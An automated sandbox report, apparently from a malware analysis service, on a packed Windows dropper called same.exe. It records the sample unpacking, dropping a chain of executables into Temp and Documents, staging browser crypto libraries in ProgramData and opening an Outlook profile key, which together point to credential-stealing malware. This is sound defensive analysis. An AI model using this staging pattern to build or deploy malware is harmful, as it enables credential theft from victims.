Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: same.exe

Static file information: File size 6932992 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Source: same.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x694400

Source: same.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: same.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: same.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: same.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: same.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: same.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: same.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: same.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857893322.000000006D0ED000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: wextract.pdb source: same.exe, same.exe, 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, N4H84.exe, N4H84.exe, 00000002.00000000.2172985974.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, h0i46.exe, h0i46.exe, 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: nss3.pdb@ source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: wextract.pdbGCTL source: same.exe, 00000000.00000002.2510521663.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, N4H84.exe, 00000002.00000000.2172985974.00000000002A1000.00000020.00000001.01000000.00000004.sdmp, h0i46.exe, 00000003.00000002.2450577687.0000000000361000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: nss3.pdb source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: mozglue.pdb source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2857893322.000000006D0ED000.00000002.00000001.01000000.00000013.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Unpacked PE file: 4.2.1C05b9.exe.650000.0.unpack :EW;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Unpacked PE file: 10.2.8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.d0000.0.unpack :EW;.rsrc:W;.idata :W;ewuxonpg:EW;kebipqmx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;ewuxonpg:EW;kebipqmx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Unpacked PE file: 13.2.S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.20000.0.unpack :EW;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.180000.0.unpack :EW;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Unpacked PE file: 24.2.abu7zly.exe.eb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;emcbjfeu:EW;jhqzuixt:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Unpacked PE file: 27.2.GIJEGDAKEH.exe.1b0000.0.unpack :EW;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fjvnplhk:EW;netceafy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Unpacked PE file: 28.2.f7eded9312.exe.830000.0.unpack :EW;.rsrc:W;.idata :W;fsfalnhv:EW;sinujova:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fsfalnhv:EW;sinujova:EW;.taggant:EW;

Source: C:\Users\user\Desktop\same.exe

Code function: 0_2_003E202A memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,GetModuleFileNameA,LocalAlloc,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_003E202A

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: unicodedata.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0xac2ee
Source: random[1].exe.10.dr	Static PE information: real checksum: 0x30f346 should be: 0x315486
Source: win32event.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x10d9b
Source: f7eded9312.exe.23.dr	Static PE information: real checksum: 0x31694f should be: 0x316b0a
Source: random[1].exe.23.dr	Static PE information: real checksum: 0x1e989d should be: 0x1ed9e1
Source: python27.dll.31.dr	Static PE information: real checksum: 0x29675c should be: 0x296813
Source: S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.6.dr	Static PE information: real checksum: 0x30f346 should be: 0x315486
Source: _tkinter.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x137a8
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x30f346 should be: 0x315486
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.6.dr	Static PE information: real checksum: 0x4ffad9 should be: 0x500836
Source: pythoncom27.dll.31.dr	Static PE information: real checksum: 0x0 should be: 0x6ec5b
Source: win32trace.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x51a3
Source: tk85.dll.31.dr	Static PE information: real checksum: 0x14c9fa should be: 0x14bbac
Source: bz2.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x1cba6
Source: 1C05b9.exe.3.dr	Static PE information: real checksum: 0x30f346 should be: 0x315486
Source: 2z8320.exe.3.dr	Static PE information: real checksum: 0x301992 should be: 0x2fd1c5
Source: random[2].exe.23.dr	Static PE information: real checksum: 0x147442 should be: 0x1ebf52
Source: GIJEGDAKEH.exe.10.dr	Static PE information: real checksum: 0x30f346 should be: 0x315486
Source: 531581880b.exe.23.dr	Static PE information: real checksum: 0x1e989d should be: 0x1ed9e1
Source: _socket.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x145cb
Source: random[1].exe1.23.dr	Static PE information: real checksum: 0x31694f should be: 0x316b0a
Source: _hashlib.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x1117e2
Source: _ssl.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x15d97a
Source: tcl85.dll.31.dr	Static PE information: real checksum: 0xde8d7 should be: 0xdda89
Source: abu7zly[1].exe.23.dr	Static PE information: real checksum: 0x1d3b7f should be: 0x1c4ade
Source: e41e5204d9.exe.23.dr	Static PE information: real checksum: 0x147442 should be: 0x1ebf52
Source: 4O211C.exe.0.dr	Static PE information: real checksum: 0x2c3f02 should be: 0x2c7d75
Source: select.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0xe180
Source: 3r66R.exe.2.dr	Static PE information: real checksum: 0x4ffad9 should be: 0x500836
Source: _win32sysloader.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x524e
Source: _ctypes.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x217f3
Source: pywintypes27.dll.31.dr	Static PE information: real checksum: 0x0 should be: 0x1c2c1
Source: win32ui.pyd.31.dr	Static PE information: real checksum: 0xc71d8 should be: 0xc4283
Source: abu7zly.exe.23.dr	Static PE information: real checksum: 0x1d3b7f should be: 0x1c4ade
Source: win32api.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x1b0d8
Source: win32process.pyd.31.dr	Static PE information: real checksum: 0x0 should be: 0x184af

Source: 4O211C.exe.0.dr	Static PE information: section name:
Source: 4O211C.exe.0.dr	Static PE information: section name: .idata
Source: 4O211C.exe.0.dr	Static PE information: section name: porhymqd
Source: 4O211C.exe.0.dr	Static PE information: section name: sherscit
Source: 4O211C.exe.0.dr	Static PE information: section name: .taggant
Source: 3r66R.exe.2.dr	Static PE information: section name:
Source: 3r66R.exe.2.dr	Static PE information: section name: .idata
Source: 3r66R.exe.2.dr	Static PE information: section name: ewuxonpg
Source: 3r66R.exe.2.dr	Static PE information: section name: kebipqmx
Source: 3r66R.exe.2.dr	Static PE information: section name: .taggant
Source: 1C05b9.exe.3.dr	Static PE information: section name:
Source: 1C05b9.exe.3.dr	Static PE information: section name: .idata
Source: 1C05b9.exe.3.dr	Static PE information: section name: fjvnplhk
Source: 1C05b9.exe.3.dr	Static PE information: section name: netceafy
Source: 1C05b9.exe.3.dr	Static PE information: section name: .taggant
Source: 2z8320.exe.3.dr	Static PE information: section name:
Source: 2z8320.exe.3.dr	Static PE information: section name: .idata
Source: 2z8320.exe.3.dr	Static PE information: section name: qbmupznt
Source: 2z8320.exe.3.dr	Static PE information: section name: yjgyiihl
Source: 2z8320.exe.3.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name: fjvnplhk
Source: skotes.exe.4.dr	Static PE information: section name: netceafy
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.6.dr	Static PE information: section name:
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.6.dr	Static PE information: section name: .idata
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.6.dr	Static PE information: section name: ewuxonpg
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.6.dr	Static PE information: section name: kebipqmx
Source: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe.6.dr	Static PE information: section name: .taggant
Source: S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.6.dr	Static PE information: section name:
Source: S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.6.dr	Static PE information: section name: .idata
Source: S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.6.dr	Static PE information: section name: fjvnplhk
Source: S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.6.dr	Static PE information: section name: netceafy
Source: S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.6.dr	Static PE information: section name: .taggant
Source: freebl3.dll.10.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.10.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.10.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.10.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.10.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.10.dr	Static PE information: section name: .didat
Source: nss3.dll.10.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.10.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.10.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.10.dr	Static PE information: section name: .00cfg
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe.10.dr	Static PE information: section name: fjvnplhk
Source: random[1].exe.10.dr	Static PE information: section name: netceafy
Source: random[1].exe.10.dr	Static PE information: section name: .taggant
Source: GIJEGDAKEH.exe.10.dr	Static PE information: section name:
Source: GIJEGDAKEH.exe.10.dr	Static PE information: section name: .idata
Source: GIJEGDAKEH.exe.10.dr	Static PE information: section name: fjvnplhk
Source: GIJEGDAKEH.exe.10.dr	Static PE information: section name: netceafy
Source: GIJEGDAKEH.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: .idata
Source: random[1].exe.23.dr	Static PE information: section name:
Source: random[1].exe.23.dr	Static PE information: section name: schgtdbg
Source: random[1].exe.23.dr	Static PE information: section name: kbofdvaz
Source: random[1].exe.23.dr	Static PE information: section name: .taggant
Source: 531581880b.exe.23.dr	Static PE information: section name:
Source: 531581880b.exe.23.dr	Static PE information: section name: .idata
Source: 531581880b.exe.23.dr	Static PE information: section name:
Source: 531581880b.exe.23.dr	Static PE information: section name: schgtdbg
Source: 531581880b.exe.23.dr	Static PE information: section name: kbofdvaz
Source: 531581880b.exe.23.dr	Static PE information: section name: .taggant
Source: abu7zly[1].exe.23.dr	Static PE information: section name:
Source: abu7zly[1].exe.23.dr	Static PE information: section name: .idata
Source: abu7zly[1].exe.23.dr	Static PE information: section name:
Source: abu7zly[1].exe.23.dr	Static PE information: section name: emcbjfeu
Source: abu7zly[1].exe.23.dr	Static PE information: section name: jhqzuixt
Source: abu7zly[1].exe.23.dr	Static PE information: section name: .taggant
Source: abu7zly.exe.23.dr	Static PE information: section name:
Source: abu7zly.exe.23.dr	Static PE information: section name: .idata
Source: abu7zly.exe.23.dr	Static PE information: section name:
Source: abu7zly.exe.23.dr	Static PE information: section name: emcbjfeu
Source: abu7zly.exe.23.dr	Static PE information: section name: jhqzuixt
Source: abu7zly.exe.23.dr	Static PE information: section name: .taggant
Source: random[1].exe1.23.dr	Static PE information: section name:
Source: random[1].exe1.23.dr	Static PE information: section name: .idata
Source: random[1].exe1.23.dr	Static PE information: section name: fsfalnhv
Source: random[1].exe1.23.dr	Static PE information: section name: sinujova
Source: random[1].exe1.23.dr	Static PE information: section name: .taggant
Source: f7eded9312.exe.23.dr	Static PE information: section name:
Source: f7eded9312.exe.23.dr	Static PE information: section name: .idata
Source: f7eded9312.exe.23.dr	Static PE information: section name: fsfalnhv
Source: f7eded9312.exe.23.dr	Static PE information: section name: sinujova
Source: f7eded9312.exe.23.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\same.exe	Code function: 0_2_003E724D push ecx; ret	0_2_003E7260
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Code function: 2_2_002A724D push ecx; ret	2_2_002A7260
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Code function: 3_2_0036724D push ecx; ret	3_2_00367260
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Code function: 4_2_0066D91C push ecx; ret	4_2_0066D92F
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Code function: 4_2_00661359 push es; ret	4_2_0066135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0019D91C push ecx; ret	5_2_0019D92F
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_05C0EE91 push cs; retf	6_3_05C0EEA3
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_05C0EA93 push cs; iretd	6_3_05C0EAA3
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_013AAC54 push esi; retf	6_3_013AAC57
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_013AAC54 push esi; retf	6_3_013AAC57
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_0133C396 pushfd ; ret	6_3_0133C39D
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_0133C39E pushfd ; ret	6_3_0133C3A1
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_0133C362 pushad ; ret	6_3_0133C365
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_0133C356 push esp; ret	6_3_0133C359
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_0133C35A pushad ; ret	6_3_0133C361
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_0133C34E push esp; ret	6_3_0133C355
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_01353098 push 80011E09h; iretd	6_3_0135309D
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_01353098 push 80011E09h; iretd	6_3_0135309D
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_0134CF62 pushad ; iretd	6_3_0134CF71
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_0134CF52 push eax; iretd	6_3_0134CF61
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_013AAC54 push esi; retf	6_3_013AAC57
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_013AAC54 push esi; retf	6_3_013AAC57
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_01353098 push 80011E09h; iretd	6_3_0135309D
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Code function: 6_3_01353098 push 80011E09h; iretd	6_3_0135309D

Source: 4O211C.exe.0.dr	Static PE information: section name: entropy: 7.756274812779514
Source: 1C05b9.exe.3.dr	Static PE information: section name: entropy: 7.143571719646299
Source: 2z8320.exe.3.dr	Static PE information: section name: entropy: 7.0968866848436605
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.143571719646299
Source: S0E9GDU0ZDFIFFW6VFPUPGQZ.exe.6.dr	Static PE information: section name: entropy: 7.143571719646299
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.143571719646299
Source: GIJEGDAKEH.exe.10.dr	Static PE information: section name: entropy: 7.143571719646299
Source: random[1].exe.23.dr	Static PE information: section name: schgtdbg entropy: 7.948344975346787
Source: 531581880b.exe.23.dr	Static PE information: section name: schgtdbg entropy: 7.948344975346787
Source: abu7zly[1].exe.23.dr	Static PE information: section name: entropy: 7.968054735986534
Source: abu7zly[1].exe.23.dr	Static PE information: section name: emcbjfeu entropy: 7.955668133436915
Source: abu7zly.exe.23.dr	Static PE information: section name: entropy: 7.968054735986534
Source: abu7zly.exe.23.dr	Static PE information: section name: emcbjfeu entropy: 7.955668133436915
Source: random[1].exe1.23.dr	Static PE information: section name: entropy: 6.999357372750354
Source: f7eded9312.exe.23.dr	Static PE information: section name: entropy: 6.999357372750354
Source: msvcr90.dll.31.dr	Static PE information: section name: .text entropy: 6.921830750319084

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe

File created: C:\Users\user\Documents\GIJEGDAKEH.exe

Jump to dropped file

Found pyInstaller with non standard icon

Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe

Process created: "C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe"

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\pythoncom27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\mfc90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\win32trace.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\win32event.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\mpc\41678903251236549780	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\pywintypes27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\mfc90u.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	File created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\Users\user\Documents\GIJEGDAKEH.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\3r66R.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\msvcm90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File created: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1029922001\e41e5204d9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\win32api.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\msvcp90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\tk85.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\win32process.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\abu7zly[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\tcl85.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\msvcr90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	File created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\same.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\4O211C.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	File created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\_ctypes.pyd	Jump to dropped file
